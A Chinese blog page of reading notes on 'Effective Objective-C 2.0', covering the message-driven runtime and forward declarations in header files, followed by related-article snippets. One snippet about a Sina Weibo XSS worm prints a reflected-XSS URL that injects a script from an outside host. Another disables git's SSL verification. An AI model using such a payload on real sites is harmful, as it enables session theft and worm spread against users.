《Effective Objective-C 2.0》1、熟悉Objective-C

该系列是《Effective Objective-C 2.0——编写高质量iOS与OS X代码的52个有效方法》的读书笔记。

第一条:了解Objective-C语言的起源

同C++类似,Objective-C也是C语言进行面相对象化的扩展。二者存在一个根本性的区别:

  • C++是一种基于函数调用的语言,运行时执行的代码由编译器决定。某个对象试图调用哪一个函数将在编译过程中确定好。只有在实现了多态函数的前提下,运行时才会按照虚函数表动态查找实际调用的函数。
  • Objective-C是一种基于消息结构的语言,运行时所执行的代码由运行环境决定,在编译时并不会查找目标对象要执行的方法。编译器甚至不会实际关心接收消息的对象的类型,而是留到运行时由动态绑定进行处理。同C++相比,可以认为Objective-C永远都是多态的。

也正是因为这种原因,Objective-C语言所有的重要工作都由运行时组件而非编译器来实现,该组件包含了所有Objective-C面向对象特性所需的数据结构和函数。举例说明,Objective-C编写的应用大多运行在iOS操作系统上,Objective-C的运行时组件可以认为是属于iOS的一部分。在查阅Objective-C文档时我们也经常发现,某个类某个方法的有效范围通常是给定的某几个iOS的版本(如iOS 6.0以后、iOS 3.0~6.0等),而不是XCode 4.5、XCode 5.1等编译工具的版本。这也说明Objective-C的函数更多的与iOS系统的版本相关联而非IDE。

在Objective-C中,所有的对象都分配在堆空间中,不会直接分配在栈空间。对象创建后将对象的地址返回一个指针用于对对象进行操作。另外有一些类比较特殊,已CGRect等为例,该类直接定义在栈中,已实力的形式存在而不是只想对象的指针。因为CGRect等类实际上是C的结构体,而且结构较为简单。采用这种方式有助于提升系统的性能。


第二条:尽量避免类的头文件中引入其他头文件

我们知道,在工程中新建一个Objective-C类,会添加头文件(.h)和源文件(.m)两个文件。头文件中声明类的公有成员和API接口,源文件中实现类的方法。如果需要暴露的接口参数或公有成员为某一个Objective-C类,那么可以使用前向声明而非引入另一个类的头文件的方式解决:

@class SomeClassName;

如果直接引入头文件,那么头文件所暴露给使用者的内容就会过多(尤其是连续很多级import之后),可能造成编译时间较长。使用前向声明则很好地解决了这个问题,减少了类的使用者的头文件的数量。而且解决了循环import可能造成的无法正确编译的问题。

有时候必须在头文件中包含其他头文件,主要有两种情况,其一是该类继承自其他某个类,另一种情况是当前类复合某种协议,协议的定义应单独放置于一个头文件中。而在代理(delegate)方法中,不需要添加独立的头文件。代理方法与实现代理的类写在同一个文件中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460472.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图像编码的必要性、可行性、技术分类、评价指标

以下内容源于网络资源的学习与整理,如有侵权请告知删除。 1、图像编码的必要性 图像的数据量非常大,为了有效地传输和存储图像,有必要压缩图像的数据量。随着现代通信技术的发展,要求传输的图像信息的种类和数据量愈来愈大。若不…

【一周一算法】算法2:邻居好说话——冒泡排序

【啊哈!算法】    简化版的桶排序不仅仅有上一节所遗留的问题,更要命的是:它非常浪费空间!例如需要排序数的范围是0~2100000000之间,那你则需要申请2100000001个变量,也就是说要写成int a[2100000001]。…

用TextPaint来绘制文字

TextPaint是paint的子类,用它可以很方便的进行文字的绘制,一般情况下遇到绘制文字的需求时,我们一般用TextPaint所提供的方法。开始学习如何绘制文字之前,我们必须要先了解下android中文字是怎么绘制到屏幕上的,文字的…

第二季4:初始化MPP系统(step12)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析中提及的“初始化MPP系统”。 MPP系统的初始化包括以下步骤: 配置VB:HI_MPI_VB_SetConf函数 初始化…

存储过程——介绍(一)

由于工作缘故,在工作中用到储存过程较少,在下班之余出于对学习的热情,以下分享下学习储存过程心得,往大牛们指点迷津: 储存过程:官方解释为可以将一些预先编译的sql语句集中起来有sql service数据库服务器来…

《人月神话》观后感

1.外科手术队伍 项目经理在项目的初期必须清楚的估计项目的人月运作模式(时间、人力在项目各阶段的分配),例如什么时候需要出什么样成果,决定了什么时候需要什么样的人加入项目,这是项目经理的责任。 2.贵族专制…

第二季5:配置视频捕获模块(step3:VI模块)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“配置视频捕获模块”。 分析方法上,我们首先介绍VI模块相关的宽动态、设备、通道等概念,然后…

git 代理设置

git 代理设置: git config --global http.proxy http://proxy.com:8080git config --global https.proxy http://proxy.com:8080git config --global http.sslverify false 转载于:https://www.cnblogs.com/lizhanglong/p/3642152.html

简化Java中的异常处理

为什么80%的码农都做不了架构师?>>> #1. 不需要Checked异常 Java中的Checked异常,可以说有弊无利,它除了能带来一系列的麻烦,能干的事情Unchecked异常都能干。 ##1.1. 代码污染 首先,当一个方法声明抛出一…

Linux常用命令之wget

wget:从网络上下载文件到当前目录。 转载于:https://www.cnblogs.com/nufangrensheng/p/3646055.html

MySQL的timestamp字段可以使用的范围是多少

还是之前工作中遇到的一个小问题。我在做一个收据采集的程序,需要记录起始时间和结束时间,在数据库中是用timestamp字段来保存的,有些情况下不存在起始时间,此时就需要设置一个默认的起始时间,当初想着是使用timestamp…

Serv-U搭建FTP服务器

1、打开软件,勾选start automatically 2、点击domain,新建domain 3、依次输入IP、端口号、域名、域名类型 完成后的样子 4、右键单击Users,新建用户。依次输入用户名、Home目录、用户密码。 如果需要创建匿名账户,则用户名用Anony…

第二季7:创建配置编码通道(step5:VENC部分)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“创建配置编码通道”。 我们首先介绍VENC模块相关的概念,然后绘制该模块的函数调用关系图谱,…

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

js new

如果一个函数前面带上new来调用该函数&#xff0c;那么将创建一个隐藏连接到该函数的prototype成员的新对象&#xff0c;同时this将被绑定到那个新对象上 即&#xff1a; function B(){} var anew B(); 类似于 function B(){} var a{}; a.__proto__B.prototype; B.call(a); 转载…

第二季8:保存编码得到的码流(step6:Save to File)

以下内容源于朱有鹏嵌入式课程的学习与整理&#xff0c;如有侵权请告知删除。 前言 本文将详细介绍博文第二季3&#xff1a;sample_venc.c的整体分析提及的“ 保存编码得到的码流 ”。 即把编码得到的三路码流&#xff08;三路码流都是H264格式的&#xff0c;只是分辨率不同…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

关于 ioctl 的 FIONREAD 參数

ioctl 是用来设置硬件控制寄存器&#xff0c;或者读取硬件状态寄存器的数值之类的。而read,write 是把数据丢入缓冲区&#xff0c;硬件的驱动从缓冲区读取数据一个个发送或者把接收的数据送入缓冲区。 ioctl(keyFd, FIONREAD, &b) 得到缓冲区里有多少字节要被读取&#xff…